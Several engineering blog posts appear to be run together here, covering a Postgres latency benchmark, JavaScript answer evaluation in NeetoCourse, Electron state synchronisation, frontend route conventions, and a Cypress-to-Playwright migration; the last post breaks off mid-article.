require "pg"require "benchmark"class PostgresBenchmark  def initialize(connection_string)    @conn = PG.connect(connection_string)  end  def run(iterations = 10_000)    total_times = Hash.new { |h, k| h[k] = 0 }    iterations.times do |i|      puts "Running iteration #{i + 1}" if (i + 1) % 1000 == 0      times = benchmark_operations      times.each { |key, time| total_times[key] += time }    end    average_times = total_times.transform_values { |time| time / iterations }    print_results(average_times, iterations)  ensure    @conn.close if @conn  end  private  def benchmark_operations    times = {}    times[:drop] = Benchmark.measure { @conn.exec("DROP TABLE IF EXISTS t") }.real    times[:create] = Benchmark.measure { @conn.exec("CREATE TABLE t (id SERIAL PRIMARY KEY, name TEXT)") }.real    times[:insert] = Benchmark.measure { @conn.exec("INSERT INTO t (name) VALUES ('jane')") }.real    times[:select] = Benchmark.measure do      result = @conn.exec("SELECT name FROM t WHERE id = 1")      raise "Unexpected result" unless result[0]["name"] == "jane"    end.real    times  end  def print_results(times, iterations)    total_time = times.values.sum    puts "\nAVERAGE ELAPSED TIME (over #{iterations} iterations)"    puts "drop    #{(times[:drop] * 1_000_000).round(2)} microseconds"    puts "create  #{(times[:create] * 1_000_000).round(2)} microseconds"    puts "insert  #{(times[:insert] * 1_000_000).round(2)} microseconds"    puts "select  #{(times[:select] * 1_000_000).round(2)} microseconds"    puts "TOTAL   #{(total_time * 1_000_000).round(2)} microseconds"  endendif __FILE__ == $0  connection_string = "<DB_CONNECTION_STRING>"  benchmark = PostgresBenchmark.new(connection_string)  benchmark.run(10_000)end

Database Specifications and Setup

Digital Ocean

• Region: NYC3 data center
• Specs: 2 vCPU, 4GB Memory
• Price: $60 per month

Crunchy Data

• Provider: AWS
• Region: us-east-1
• Specs: 2 vCPU, 4GB Memory (hobby-4 plan)
• Price: $70 per month

We provisioned a Digital Ocean droplet in the NYC3 data center and invoked thebenchmark script from the machine. The Digital Ocean database was also in thesame NYC3 data center. For Crunchy Data, the availability zone selected wasus-east-1 as it was the closest to NYC3.

Benchmarking results

Digital Ocean

AVERAGE ELAPSED TIME (over 10000 iterations)drop    3448.07 microsecondscreate  5048.39 microsecondsinsert  891.81 microsecondsselect  584.17 microsecondsTOTAL   9972.44 microseconds

Crunchy Data

AVERAGE ELAPSED TIME (over 10000 iterations)drop    10097.89 microsecondscreate  16818.63 microsecondsinsert  8416.35 microsecondsselect  7211.42 microsecondsTOTAL   42544.29 microseconds

Benchmarking analysis

The results of this benchmark do not come as a surprise. Digital Ocean isperforming significantly better than Crunchy Data. This performance differencecan be primarily attributed to network latency.

Network latency refers to the round-trip time (RTT) it takes for the data totravel from its source to its destination and back again across a network. Inthe context of database operations, it's the time taken for a query to be sentfrom the client to the database server and for the response to return to theclient.

In our benchmarking, the Digital Ocean database and the client machine invokingthe script were both located in the same data center (NYC3), resulting inminimal network latency. On the other hand, the Crunchy Data database was hostedin AWS us-east-1, and it had to communicate across a greater physicaldistance, adding to latency.

To get a more accurate value for the network latency, we can compare the averagetime taken to run the SELECT operation. The SELECT operation in the scriptis a point query. A point query refers to type of query that retrieves one orseveral rows based on a unique key.

In our script, it retrieves a single name value from the table t where theid is 1(which is the primary key), and is very fast to execute. Thus, thetime taken to execute the SELECT operation can give us an approximate valuefor the network latency.

db_time = network_latency + query_execution_time

For point queries, the query_execution_time is almost zero so all the timetaken is pretty much "network latency".

db_time  network_latency

If we look at the benchmarking result, then we can see that for "select"operation time taken by Digital Ocean is "584 microseconds" and for Crunchy Datait is "7211 microseconds".

The difference in network latency is 6627 microseconds. That is 6.6milliseconds.

This value over multiple queries can add up and can have a significant impact onthe overall response time of your application. To put this into perspective, fora web application that makes 10 sequential database queries to render a page,this could add up to about 66 milliseconds to the page load time. Now, thiscould be an acceptable limit if your page loads in 3/4 seconds. However,if you are trying to load your page in 200 millisecond,s then you need to watchout.

Ensuring that the database is always up and it's properly backed up is a non-trivialproblem. Latency notwithstanding, Crunchy Data takes care of running the database.This gives us peace of mind and allows us to exit the cloud one step at a time.

Let's see how we evaluate JavaScript code and check if the output matches thecorresponding solution.

Synchronous code

For a simple synchronous code, the first thing we need to check is if everythinglogged by the user is the same as that of the solution code. What we do here isaggregate all the logs to an array and then compare that array with the arraygenerated by the solution code. This is done by transforming the code using anAST library

Take thisexerciseas an example.

Now let's see the transformed code.

Here pushTologs replaces the console.log function and logsAggregator is anarray that stores all the logs. We also replace throw statements withpushToLogs to evaluate exceptions.

We also perform serialization to make comparison easier. The transformed code isthen ran as anIIFEand the result is used for comparison.

We run the user submitted code in an iframe so that any bug in the submittedcode doesn't mess up the page.

How code is transformed

Let's see how this "code transformation" works. We mentioned the use of anAST library. AST(abstractsyntax tree) is a tree representation of the code which helps the compiler tounderstand the structure of the code. Let's use a tool calledAST Explorer to see how the AST looks like for thebelow code.

const priceOfPencil = 5;console.log("Price of 1 pencil:");console.log(priceOfPencil);

Here, MemberExpression is a node and in that node we can use object.name.See the underline highlights using pink color.

Using object.name we can get to value console. See the green arrow.

Similarly using property.name we can get to log.

Now our goal is to walk the tree and replace all console.log statements withpushToLogs statement. For walking and replacing the value we will use thereplace function provided by the library.

replace(tree, node => {  const { callee } = node;  // create the node that needs to be put instead of console.log  const pushToLogsExpression = parse("pushToLogs()").body[0].expression;  // check for the console.log node  if (    callee?.type === "MemberExpression" &&    callee?.object?.name === "console" &&    callee?.property?.name === "log"  ) {    pushToLogsExpression.arguments = node.arguments;    node = pushToLogsExpression;  }  return node;});

Here we are creating a new node by parsing the string "pushToLogs()". We arethen adding the arguments of the console.log to the pushToLogs node. When wereturn this new node, the code transformation is complete.

Asynchronous code

Evaluating async code is a bit tricky since we won't get the output of the coderight away. What we do in this case is transform the code to make itsynchronous. For evaluating the output, these are the information we need:

1. Console logs
2. Exceptions
3. The order in which the code needs to be executed

We will transform the code in such a way that this information are available tous. Let's see how the code is transformed in the following cases:

SetTimeout / SetInterval

In this case the function that needs to be executed after the specified timeoutis executed inline. And the delay value is just added to the logsAggregatorfor record keeping. There will be no delay in the evaluation.

We do the same for setInterval.

In both the cases we evaluate the function "inline" and then compare theconsole.log outputs.

What if we want an exercise involving clearTimeout ? We simply addTimeout cleared to the logsAggregator.

Promises

Without going too much in details, to evaluate Promises all we did was move thecallbacks from the then method of the promise to the arguments of a function.

We handle async/await code in a similar style.

What happens in the case of promise chaining?

Here, if we detect that there are more than one then calls, then the secondbody of then is passed as resolveFn to the function that the first thenreturns. This can go multiple levels based on the chaining.

In other words, we go back to adding "callbacks".

This is how we evaluate JavaScript in NeetoCourse. We evaluate HTML, CSS and SQLsimilarly on the browser. We have also recently added the evaluation of HTMLCanvas. Evaluation of HTML Canvas animations is on the roadmap. But these can bea story for another day.

Want to see code evaluation in action. Checkoutthis questionfrom our JavaScript course.

Interested to know more about NeetoCourse? Follow@NeetoCourse to see what we're up to.

When building desktop applications with Electron, oneof the key challenges developers often face is managing the shared state betweenthe main process and multiple renderer processes. While the main processhandles the core application logic, renderer processes are responsible for theuser interface. However, they often need access to the same data, like userpreferences, application state, or session information.

Electron does not natively provide a way to persist data, let alone give asynchronized state across these processes.

electron-store to store data persistently

Since Electron doesn't have a built-in way to persist data, We can useelectron-store, an npm packageto store data persistently. electron-store stores the data in a JSON filenamed config.json in app.getPath('userData').

Even though we can configure electron-store to be made directly available inthe renderer process, it is recommended not to do so. The best way is toexpose it viaElectron's preload script.

Let's look at how we can expose the electron store to the renderer via apreload script.

// preload.jsimport { contextBridge, ipcRenderer } from "electron";const electronHandler = {  store: {    get(key) {      return ipcRenderer.sendSync("get-store", key);    },    set(property, val) {      ipcRenderer.send("set-store", property, val);    },  },  // ...others code};contextBridge.exposeInMainWorld("electron", electronHandler);

Here, we exposed a set function that calls the ipcRenderer.send method,which just sends a message to the main process. The get function calls theipcRenderer.sendSync method, which will send a message to the main processwhile expecting a return value.

Now, let's add ipcMain events to handle these requests in the main process.

import Store from "electron-store";const store = new Store();ipcMain.on("get-store", async (event, val) => {  event.returnValue = store.get(val);});ipcMain.on("set-store", async (_, key, val) => {  store.set(key, val);});

In the main process, we created an electron-store instance and addedget-store and set-store event handlers to retrieve and set data from thestore.

Now, we can read and write data from any renderer process without exposing thewhole electron-store class to it.

window.electron.store.set("key", "value");window.electron.store.get("key");

Synchronization

Since we sorted out the storage issue, let's look into how we can synchronizedata between the main process and all its renderer processes.

Before we start synchronization, let's create a simple utility function that cansend a message to all active renderer processes or, in other words, browserwindows (we will use the terms renderer process and browser windowsinterchangeably).

export const sendToAll = (channel, msg) => {  BrowserWindow.getAllWindows().forEach(browseWindow => {    browseWindow.webContents.send(channel, msg);  });};

BrowserWindow.getAllWindows() returns all active browser windows, andbrowseWindow.webContents.send is the standard way of sending a message frommain to a renderer process.

electron-store onDidChange

electron-store provides an option to add an event listener when there is achange in the store called onDidChange. This is the key feature we are goingto use to create synchronization.

store.onDidChange("key", newValue => {  // TODO});

Not all data needs to be synchronized. So, instead of adding onDidChange toevery field, let's expose an API for the renderer process so that it candecide which data it needs and subscribe to it.

import Store from "electron-store";const store = new Store();const subscriptions = new Map();ipcMain.on("get-store", async (event, val) => {  event.returnValue = store.get(val);});ipcMain.on("set-store", async (_, key, val) => {  store.set(key, val);});ipcMain.on("subscribe-store", async (event, key) => {  const unsubscribeFn = store.onDidChange(key, newValue => {    sendToAll(`onChange:${key}`, newValue);  });  subscriptions.set(key, unsubscribeFn);});

Here, we exposed another API called subscribe-store. When calling that APIwith a key, we listen to that field's onDidChange event. Then, when theonDidChange triggers, we call the sendToAll function we created earlier, andall the renderer processes listening to these changes will be notified withthe latest data. For example, if a field called user is subscribed to changes,we send a message to all renderer processes with the new value on a channelcalled onChange:user. We will soon add code in the renderer process tohandle this.

store.onDidChange returns the unsubscribe function for that particular key.Since we won't be unsubscribing straight away, we need to store this functionfor later use. Here, we are storing it in a hash map against the same key.

Let's add an option to unsubscribe as well.

//... other codesipcMain.on("unsubscribe-store", async (event, key) => {  subscriptions.get(key)();});

Update preload script

Let's update the preload script to support the store'ssubscription/unsubscribing.

// preload.jsimport { contextBridge, ipcRenderer } from "electron";const electronHandler = {  store: {    get(key) {      return ipcRenderer.sendSync("get-store", key);    },    set(property, val) {      ipcRenderer.send("set-store", property, val);    },    subscribe(key, func) {      ipcRenderer.send("subscribe-store", key);      const subscription = (_event, ...args) => func(...args);      const channelName = `onChange:${key}`;      ipcRenderer.on(channelName, subscription);      return () => {        ipcRenderer.removeListener(channelName, subscription);      };    },    unsubscribe(key) {      ipcRenderer.send("unsubscribe-store", key);    },  },  // ...others code};contextBridge.exposeInMainWorld("electron", electronHandler);

We add two APIs here, subscribe and unsubscribe. While unsubscribe isstraightforward, subscribe might need some explanation. It exposes twoarguments, a store key and a callback function, to be called when there is achange to that field.

First, we call subscribe-store to subscribe to change to that data field;then, we listen to ipcRenderer.on for any changes. For example, when there isa change to the user field, sendToAll will propagate the change, and here weare listening to it on onChange:user.

Now, from a renderer process, if it needs to be notified of changes to theuser field, we can subscribe to it like below.

window.electron.store.subscribe("user", newUser => {  // TODO});

useSyncExternalStore

React provides a hook to connect to an external store calleduseSyncExternalStore. It expects two functions as arguments.

• The subscribe function should subscribe to the store and return anunsubscribe function.
• The getSnapshot function should read a snapshot of the data from the store.

In the renderer process, create a SyncedStore class with subscribe andgetSnapshot functions that useSyncExternalStore expects.

class SyncedStore {  snapshot;  defaultValue;  storageKey;  constructor(defaultValue = "", storageKey) {    this.defaultValue = defaultValue;    this.snapshot = window.electron.store.get(storageKey) ?? defaultValue;    this.storageKey = storageKey;  }  getSnapshot = () => this.snapshot;  subscribe = callback => {    // TODO  };}

Here, we created a generic class that takes a defaultValue and storageKey.While creating the object, we loaded the existing data for that field from themain store.

When React tries to subscribe to this using useSyncExternalStore, we need tocall our main store's subscribe.

class SyncedStore {  snapshot;  defaultValue;  storageKey;  constructor(defaultValue = "", storageKey) {    this.defaultValue = defaultValue;    this.snapshot = window.electron.store.get(storageKey) ?? defaultValue;    this.storageKey = storageKey;  }  getSnapshot = () => this.snapshot;  subscribe = callback => {    window.electron.store.subscribe(this.storageKey, callback);    return () => {      window.electron.store.unsubscribe(this.storageKey);    };  };}

We have our SyncedStore ready, but it's a bit inefficient; for example, if weare subscribed to the same storageKey in multiple places, it will create asubscription for each instance in the main store. That is needless IPCcommunications for the same data.

Let's improve this a bit so that only one subscription is registered per browserwindow(renderer process), and if there are multiple use cases of the same,let's handle it internally.

class SyncedStore {  snapshot;  defaultValue;  storageKey;  listeners = new Set();  constructor(defaultValue = "", storageKey) {    this.defaultValue = defaultValue;    this.snapshot = window.electron.store.get(storageKey) ?? defaultValue;    this.storageKey = storageKey;  }  getSnapshot = () => this.snapshot;  onChange = newValue => {    if (JSON.stringify(newValue) === JSON.stringify(this.snapshot)) return;    this.snapshot = newValue ?? this.defaultValue;    this.listeners.forEach(listener => listener());  };  subscribe = callback => {    this.listeners.add(callback);    if (this.listeners.size === 1) {      window.electron.store.subscribe(this.storageKey, this.onChange);    }    return () => {      this.listeners.delete(callback);      if (this.listeners.size !== 0) return;      window.electron.store.unsubscribe(this.storageKey);    };  };}

We made the change so that only one request is sent to main; the rest of thesubscriptions are stored internally and respond to it when the first one isnotified.

We also added additional checks to ensure that rerender is not triggered ifthere are no changes to the data.

Usage

Now, whenever a synchronized store for a field is needed, we just need to createan instance of this class and pass it to useSyncExternalStore.

import { useSyncExternalStore } from "react";const createSyncedStore = ({ defaultValue, storageKey }) => {  const store = new SyncedStore(defaultValue, storageKey);  return () => useSyncExternalStore(store.subscribe, store.getSnapshot);};const useUser = createSyncedStore({  storageKey: "user",  defaultValue: { firstName: "Oliver", lastName: "Smith" },});const App = () => {  const user = useUser();  return <div>Name: {`${user.firstName} ${user.lastName}`}</div>;};

Now, if we update the user field from anywhere, let it be from any rendererprocess or main.

window.electron.store.set("user", { firstName: "John", lastName: "Smith" });

The above App component will be rerendered with the latest user data.

This blog post explores a standardized approach to defining frontend routes. Thegoal is to enhance the searchability of components based on the URL structure.Neeto has adopted a structured and hierarchicalapproach to defining frontend routes, prioritizing navigational clarity andensuring consistency and scalability throughout its application ecosystem. Let'shave a closer look at this structure.

Structuring the routes

The philosophy behind route structure is to create a clear, hierarchical, andorganized way of defining routes for a web application. Let's understand how, atNeeto, we follow this philosophy with an example. Given below is the routedefinition of a meeting scheduling application likeNeetoCal.

const routes = {  login: "/login",  admin: {    meetingLinks: {      index: "/admin/meeting-links",      show: "/admin/meeting-links/:id",      design: "/admin/meeting-links/:id/design",      new: {        index: "/admin/meeting-links/new",        what: "/admin/meeting-links/new/what",        type: "/admin/meeting-links/new/type",      },    },  },};

The routes here are organized hierarchically to reflect the logical structure ofthe application. Each nested level represents a deeper level of specificity orfunctionality. For instance, under the admin route, there are further nestedroutes for meetingLinks, and within meetingLinks, there are routes forspecific actions like index and show. This indicates that the admin panel ofthe application includes provisions for listing meeting links and showingdetails of individual meeting links.

These routes also follow RESTful principles, whenever possible, by usingdescriptive and meaningful path names. The paths indicate the resource beingaccessed and the action being performed. For example:

• index routes like /admin/meeting-links is for listing resources.
• show routes like /admin/meeting-links/:id is for viewing a specificresource.
• Action-specific routes like /admin/meeting-links/:id/design is forperforming actions on a specific resource.

By defining routes in a nested object structure, it becomes clear how routes arerelated. This improves readability and maintainability. The nested structureallows for easy scalability as well. New routes can be added in a logical placewithin the hierarchy without disrupting the existing structure. For example, ifa new action needs to be added to meeting-links, it can be easily included underthe appropriate new subroute.

String interpolation should be strictly avoided in the path values. Otherwisethey can lead to inconsistencies in route definitions and make searchingdifficult.

At Neeto, we have an ESLint rule routes-should-match-object-path in@bigbinary/eslint-plugin-neeto which ensures that the path value matches thekey. Let's take a few examples to discuss this ESLint rule.

In the above case we have the key routes.admin.meetingLinks.index. The pathfor that key is /admin/meeting-links. What if I change the path value from/admin/meeting-links to /admin/meeting-urls. If we do that then ESLint willthrow an error because now the key will not match with the path.

Since the key has the value meetingLinks the path can be eithermeeting-links or meeting_links. But the path can't be meetinglinks.Because then L will not be camelcased on the key side and that will throw anderror by ESLint.

Similarly if we have the key routs.admin.meetingLinks.video then the path mustbe /admin/meeting-links/video.

Usage of index key

Imagine we're enhancing our application by introducing a feature that lists allavailable time slots for scheduling meetings with a person. This scenariorequires an index action. However, if listing is the sole action within theavailabilities context, there's no need to explicitly use the index key.Instead, we can directly use availabilities as the key for the path.

const routes = {  // rest of the routes  admin: {    availabilities: "/admin/availabilities",    // rest of the routes  },};

However, if we plan to support multiple actions under the availabilitiesscope, we will need to use the index key to differentiate between actions.

const routes = {  // rest of the routes  admin: {    availabilities: {      index: "/admin/availabilities",      show: "/admin/availabilities/:id",    },    // rest of the routes  },};

Improving searchability

The structured route definitions can significantly enhance the ease of searchingfor specific route keys. Let's see how this works in practice.

Assume you are on the /admin/meeting-links page of the application, asindicated by the address bar in the browser. To determine the componentassociated with this route follow these steps:

• Generate the key by replacing all forward slashes with periods and convert thepath to camelCase. We adhere to camelCase for all path keys to ensureconsistency. Thus, /admin/meeting-links becomes admin.meetingLinks.

• By examining the page associated with /admin/meeting-links, we can determineif multiple actions exist under the meeting-links scope. If multiple actionsexists, then append .index to the key. If listing is the only action,admin.meetingLinks will suffice. Let's say there are multiple actions likeshowing details or editing, under the meeting-links scope. So we should useadmin.meetingLinks.index as the key for searching.

• Use this formatted key to search in your preferred code editor. This searchshould help you locate the relevant route definitions and associatedcomponents.

Avoid nesting for dynamic routes

When dealing with dynamic elements like :id in route paths, avoiding nestingcan enhance searchability and maintain consistency across different parts of theapplication.

Consider a scenario where we need to manage various aspects of meeting links inan admin panel. Each meeting link has a unique identifier :id, and we want tocreate routes for actions like viewing details, designing, and managing membersof these meeting links. Initially, we might be tempted to nest these actionsunder id as shown below:

const routes = {  // rest of the routes  admin: {    // rest of the routes    meetingLinks: {      index: "/admin/meeting-links",      id: {        show: "/admin/meeting-links/:id",        design: "/admin/meeting-links/:id/design",        members: "/admin/meeting-links/:id/members",      },    },    // rest of the routes  },};

This structure appears logical but has a critical flaw. The goal of structuredrouting is to enhance searchability. In this scenario, if a developer sees apath like /admin/meeting-links/9482af15-9443-42d1-9b3d-61daeadf6982/design inthe browser's address bar, they might search forroutes.admin.meetingLinks.meetingId.design orroutes.admin.meetingLinks.mId.design to find the associated component.However, neither of these searches would yield relevant results because theactual key is routes.admin.meetingLinks.id.design. This confusion arisesbecause we allowed for assumptions about the key used for the dynamic part ofthe route.

By avoiding the use of dynamic elements in nested object path, we can preventthis issue. Here's how the corrected nesting should look:

const routes = {  // rest of the routes  admin: {    // rest of the routes    meetingLinks: {      index: "/admin/meeting-links",      show: "/admin/meeting-links/:id",      design: "/admin/meeting-links/:id/design",      members: "/admin/meeting-links/:id/members",    },    // rest of the routes  },};

This approach ensures that the routes are structured logically and predictably.Now the developer won't face any confusion since the keyroutes.admin.meetingLinks.design will not have any dynamic elements in it.

File structure

To maintain consistency and organization, route definitions should be placed ina centralized file, src/routes.js. The routes should be defined as a constantand exported as the default export like given below:

const routes = {  login: "/login",  admin: {    availabilities: {      index: "/admin/availabilities",      show: "/admin/availabilities/:id",    },    meetingLinks: {      index: "/admin/meeting-links",      show: "/admin/meeting-links/:id",      design: "/admin/meeting-links/:id/design",      new: {        index: "/admin/meeting-links/new",        what: "/admin/meeting-links/new/what",        type: "/admin/meeting-links/new/type",      },    },  },};export default routes;

This approach allows for easy importing and ensures that IntelliSense canauto-complete the fields, enhancing developer productivity.

Using the route keys in the application

Usage of the routes within the application is as equally important as definingthem to catalyze searchability. Let's take a look at some of the concepts toconsider while using routes keys in the application.

Firstly, do not destructure keys in the route object when you utilize them invarious parts of the application, like below:

const {  admin: { meetingLinks: index },} = routes;history.push(index);

It can hamper searchability. Maintain the complete route path as a single key toensure clarity and ease of searching.

Secondly, during in-page navigation, we must use the route keys instead ofhardcoded strings. This practice not only enhances searchability but alsominimizes the risk of errors due to typos or incorrect paths.

// Navigate to the meeting links index pagehistory.push(routes.admin.meetingLinks.index);

When dealing with dynamic parameters in URLs, we can make use of the buildUrlfunction from @bigbinary/neeto-commons-frontend.@bigbinary/neeto-commons-frontend is a library that packages commonboilerplate frontend code necessary for all Neeto products. The buildUrlfunction builds a URL by inflating a route-like template string, say/admin/meeting-links/:id/design, using the provided parameters. It allows youto create URLs dynamically based on a template and replace placeholders withactual values. Any additional properties in the parameters will be transformedto snake case and attached as query parameters to the URL.

buildUrl(routes.admin.meetingLinks.design, { id: "123" }); // output: `/admin/meeting-links/123/design`buildUrl(routes.admin.meetingLinks.design, { id: "123", search: "abc" }); // output: `/admin/meeting-links/123/design?search=abc`

The @bigbinary/eslint-plugin-neeto used within the Neeto ecosystem features arule called use-common-routes that disallows the usage of strings and templateliterals in the path prop of Route component and in the to prop of Link,NavLink, and Redirect components. It also prevents the usage of strings andtemplate literals in history.push() and history.replace() methods.

Edge cases to consider

Even with a structured approach, you may encounter scenarios where adhering tothe guidelines is challenging. Let's explore some of these scenarios and how toensure minimal searchability in such cases.

Routes starting with a dynamic element

We have discussed omitting intermittent dynamic contents in paths. However, whenthere are actions with paths beginning with a dynamic element, we can group themunder a meaningful name. While this might hinder searchability, it allows thecode editor to partially match the routes. Consider the below case:

const routes = {  login: "/login",  calendar: {    show: "/:slug",    preBook: {      index: "/:slug/pre-book",    },    cancellationPolicy: "/:slug/cancellation-policy",    troubleshoot: "/:slug/troubleshoot",  },  admin: {    // Rest of the routes  },};export default routes;

Here, calendar is the name chosen to group all actions whose paths start withthe dynamic element :slug.

Routes ending with consecutive dynamic elements

Consider the path /bookings/:bookingId/:view. Using routes.bookings.show cancause confusion and omit important information about the dynamic element:view. In such cases, we can use a meaningful name to group the last dynamicelement. Here is how the object would look:

const routes = {  // Rest of the routes  bookings: {    views: {      show: "/bookings/:bookingId/:view",    },  },  admin: {    // Rest of the routes  },};export default routes;

Here, the key routes.bookings.views.show is used. By allowing any meaningfulname in place of views, we maintain partial searchability.

Routes with intermittent consecutive dynamic elements

When paths contain consecutive dynamic elements, such as/bookings/:bookingId/:view/time, we can omit the dynamic elements directly.Here is how the route would look:

const routes = {  // Rest of the routes  bookings: {    time: "/bookings/:bookingId/:view/time",  },  admin: {    // Rest of the routes  },};export default routes;

With that, we come to the end of the discussion on structuring frontend routes.Standardizing frontend routes and dynamic URL generation improves searchability,maintainability, and scalability. By following a structured, hierarchicalapproach and utilizing tools like the buildUrl function, developers canefficiently manage and navigate the application's routing system.

We at BigBinary also switched from Cypress to Playwright in late 2023. In thisarticle, we will see some critical reasons for this change in trends and ourpersonal views on why we think Playwright is the superior JavaScript testingframework.

<div style="width:100%;max-width:600px;margin:auto;display:grid;grid-template-columns:auto auto;gap:2rem;align-items:end;"><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><imgwidth="1000"height="600"alt="Cypress weekly downloads early 2024"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/cypress-weekly-downloads-early-2024.png"/><figcaption style="font-size:x-small;">Cypress weekly downloads - Early 2024</figcaption></figure><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><imgwidth="1000"height="600"alt="Playwright weekly downloads early 2024"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/playwright-weekly-downloads-early-2024.png"/><figcaption style="font-size:x-small;">Playwright weekly downloads - Early 2024</figcaption></figure><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><imgwidth="1000"height="600"alt="Cypress weekly downloads September 2024"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/cypress-weekly-downloads-september-2024.png"/><figcaption style="font-size:x-small;">Cypress weekly downloads - September 2024</figcaption></figure><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><imgwidth="1200"height="800"alt="Playwright weekly downloads September 2024"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/playwright-weekly-downloads-september-2024.png"/><figcaption style="font-size:x-small;">Playwright weekly downloads - September 2024</figcaption></figure></div>

Why we chose Cypress initially

At BigBinary, we are building a number of products atNeeto. When the number of products in our product suitegrew and the complexity of each one increased, we needed an automated end-to-endsolution to ensure our applications were stable since manual testing was nolonger viable.

When the discussion about choosing the e2e testing framework began in mid-2020,a few names emerged, including top players like Selenium and Cypress, and newplayers like Playwright. We chose Cypress owing to its popularity andsimplicity.

We were satisfied with its overall performance and easy learning curve. We choseCypress as our primary e2e testing framewor,k and wrote extensive e2e tests forthe entire application suite. While things were smooth sailing initially, wesoon encountered many issues with Cypress.

Why we decided to switch to Playwright

In late August 2023, Cypress released version 13, a major upgrade to theframework that brought along many new features. As Cypress users, we wereoverjoyed. But the excitement quickly turned to frustration when we realizedthat, along with the latest features, Cypress had introduced a few changes thatwere not so open-source in nature.

It's a known fact that Cypress Cloud is a veryexpensive platform. A few third-party providers likeCurrents.dev and Testomatprovided similar services at much more affordable costs. However, Cypressversion 13 blocked all third-party reporters. The main reason offered by theCypress team was that Cypress Cloud was their primary source of income and thatthey had to block the third-party tools to survive in the market. They laterrevised this explanation with other arguments on how these third-party reportersmisused the Cypress name for personal gain due to public backlash.

We had switched to Currents.dev ourselves a few months prior to the event andwere affected by this change. At that point, we had two options: switch toCypress Cloud and incur the additional cost, or stay with Currents.dev but getlocked into an older version of Cypress permanently.

Both of these choices were unacceptable to us. This was the final nudge weneeded to switch to a new framework. We were already dissatisfied with manyissues with Cypress, so we took advantage of the opportunity to research thebest e2e testing framework available and switch to that. We compared all thepopular frameworks available and observed how they solved our pain points withCypress. That is when we fell in love with Playwright.

In our comparison, Playwright was the fastest framework in terms of rawperformance and had the highest adoption rate compared to all the otherframeworks. It is an open-source framework maintained by Microsoft. Thearchitecture would enable us to automate more scenarios that were deemedunautomatable using Cypress. We were thrilled to learn that Playwright would fixmost of the issues we faced with Cypress.

Features locked behind a paywall and control over third-party software

While Cypress supports parallelism and orchestration, it is blocked behind apaywall with a subscription to Cypress Cloud. This means these features, whichcan easily be implemented with the base Cypress package, are only accessiblethrough an external package.

While Cypress provides APIs for reporters and orchestration, it deliberatelyblocks popular third-party tools and services. That's not a good open sourcepractice. The combination of both makes Cypress an incomplete tool withoutsubscribing to the expensive Cypress Cloud plans, even though the tool isconsidered free and open-source.

At the same time, Playwright is an entirely open framework in which anyone cancreate and publish third-party reporters. It comes in-built with features suchas parallelization, sharding and orchestration without needing third-party toolsand services. The Playwright team goes a step further by showcasing the popularthird-party reporters on their official documentation.

Performance

Cypress is the slowest of the e2e testing frameworks available in JS. Here isthe list of the most popular frameworks in decreasing order of performance.

<div style="width:100%;display:flex;justify-content:center;"><imgalt="Speed comparison of popular JS testing frameworks"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/speed-comparison-of-testing-frameworks.png"/></div>

<br />

Let's compare the performance when the same scenario is implemented in Cypressand Playwright. The scenario is to visit the Neeto homepageand verify the page title.

// Cypresscy.visit("https://neeto.com");cy.title().should("eq", "Neeto: Get things done");

// Playwrightawait page.goto("https://neeto.com");expect(await page.title()).toBe("Neeto: Get things done");

The results speak for themselves. While Cypress took 16.09 seconds to finishthe execution, Playwright took only 1.82 seconds. This is an improvement of88.68%! Here, the execution time combines the time taken for setup and thetime to complete the test. This is the actual time that matters because this isthe time an engineer has to wait until they see the final test result.

<div><br /><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><imgalt="Cypress weekly downloads early 2024"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/cypress-execution-time.png"/><figcaption style="font-size:small;">Cypress execution</figcaption></figure><br /><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><imgalt="Cypress weekly downloads early 2024"src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/playwright-execution-time.png"/><figcaption style="font-size:small;">Playwright execution</figcaption></figure><br /></div>

This shows how much of a performance gain switching to Playwright gave us. If welook at a more practical example, our authentication flows through Cypress, andPlaywright gives a much better idea of the time saved. The authentication flow,which consistently took around 2 minutes in Cypress, is completed in under20 seconds using Playwright.

Playwright's out-of-the-box support for parallelism and sharding can havemultiplicative effect in time savings. If we provide a process-based parallelismof 4 and shard the tests in 4 machines, then 16 tests are run concurrently,which reduces the execution time dramatically.

Implementing these additional configurations reduced the total test duration forone of our products from 2 hours and 27 minutes to just 16 minutes. This89.12% of time saving, directly translating to CI cost savings.

Memory issues

Cypress follows a split architecture. This means that Cypress executes the testswith a NodeJS process, which orchestrates the tests in the browser where thetests are executed. This also means that the browser execution environmentlimits the memory available for tests. Due to this, we have faced crashes inbetween tests multiple times. At one point, the crashes became so frequent thatwe had to invest a lot of time and energy into finding a solution because notest executions were running to completion. We have written a detailed blog onthis topic, which can be foundhere.

Playwright fixes these issues because it handles the test execution in NodeJSservice and communicates with the browsers usingCDP sessions. This meansthat the memory management can be done on the NodeJS application, while thebrowser only has to worry about handling the actual web application we'retesting.

Architecture prone to flakiness

Many of Cypress's features are closely tied to its architecture. For example,one of the popular features in Cypress is itsretry mechanismandchaining.However, these features do not always go hand-in-hand.

Let's consider this snippet of Cypress code.

cy.get(".inactive-field").click().type("Oliver Smith");

While this code looks syntactically correct, it will make the test flaky. Thisis because, in Cypress, only queries are retried, not commands. In the exampleabove, consider that the class name of the field is updated to active-fieldwhen we click on it. This means that the cy.get query locates the field andthe click command work fine, but the chain fails at the type command. Thisis because an element with the class name .inactive-field no longer exists inthe DOM tree.

With the Cypress retry mechanisms, one would think that the whole chain would beretried from fetching the element. However, the chain was completed successfullyuntil the click action. So, only the type action will be retried and willcause the whole chain to fail. To avoid this issue, we must rewrite the testsafter splitting the chain.

cy.get(".inactive-field").click();cy.get(".inactive-field").type("Oliver Smith");

While this works without issues, the syntactical sugar that Cypress provides bychaining the commands is no longer usable. Now, let's observe the Playwrightcode for the same.

await page.locator(".inactive-field").click();await page.locator(".inactive-field").type("Oliver Smith");

